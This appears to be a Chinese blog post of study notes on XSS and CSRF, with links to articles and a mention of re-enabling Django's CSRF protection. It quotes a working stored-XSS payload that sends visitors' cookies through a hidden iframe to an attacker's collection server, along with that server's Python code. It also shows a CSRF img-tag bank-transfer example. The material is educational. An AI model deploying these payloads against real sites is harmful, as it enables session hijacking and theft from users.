XSS：脚本中的不速之客
XSS：跨站脚本（Cross-site scripting）
CSRF：冒充用户之手
CSRF：跨站请求伪造（Cross-site request forgery）
谷歌搜索到几篇好文章。
《XSS CSRF 攻击》
http://www.cnblogs.com/siqi/archive/2012/11/19/2777224.html
XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
请求令牌（一种简单有效的防御方法）。
（本人）：
django默认使用这种方法，之前图方便关闭了该middle，花一几个小时将它开启，本身也是学习CSRF的方式。
《XSS、CSRF漏洞及如何测试介绍》
http://www.diggerplus.org/archives/2099
XSS攻击:
非持久型 = 反射型XSS漏洞，比较被动，用户点击特定构造url后生效。
持久性 = 保存型XSS漏洞，储存与数据库。
基于DOM的XSS漏洞原理：主要是转送和劫持会话session
《总结 XSS 与 CSRF 两种跨站攻击》
https://blog.tonyseek.com/post/introduce-to-xss-and-csrf/
例子，攻击方的接受器，XSS注入内容：
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
《漏洞科普：对于XSS和CSRF你究竟了解多少》
http://sbqing.com/archives/1487.html
http://www.bugsec.org/986.html
示例1：
银行网站A，它以GET请求来完成银行转账的操作，如：
http://www.mybank.com/Transfer.php?toBankId=11&money=1000
1
http://www.mybank.com/Transfer.php?toBankId=11&money=1000
危险网站B，它里面有一段HTML的代码如下：
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
1
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
首先，你登录了银行网站A，然后访问危险网站B，噢，这时你会发现你的银行账户少了1000块……
为什么会这样呢？原因是银行网站A违反了HTTP规范，使用GET请求更新资源。在访问危险网站B的之前，你已经登录了银行网站A，而B中的<img>以GET的方式请求第三方资源（这里的第三方就是指银行网站了，原本这是一个合法的请求，但这里被不法分子利用了），所以你的浏览器会带上你的银行网站A的Cookie发出Get请求，去获取资源“http://www.mybank.com/Transfer.php?toBankId=11&money=1000”，结果银行网站服务器收到请求后，认为这是一个更新资源操作（转账操作），所以就立刻进行转账操作……
《关于XSS（跨站脚本攻击）和CSRF（跨站请求伪造）》
http://cnodejs.org/topic/50463565329c5139760c34a1
图片注入，有些sns社区可以让用户自己上传图片，然后填写ref属性或者title属性，这些属性往往会成为注入点，如果应用程序文件名没有修改的话也可能被注入。更有胜者，在新版本的discuz中，用户可以分享照片还可以查看照片的exif信息，比如光圈相机型号等等，有达人用软件修改了exif信息，在里面嵌入恶意js代码，然后吸引用户查看exif信息。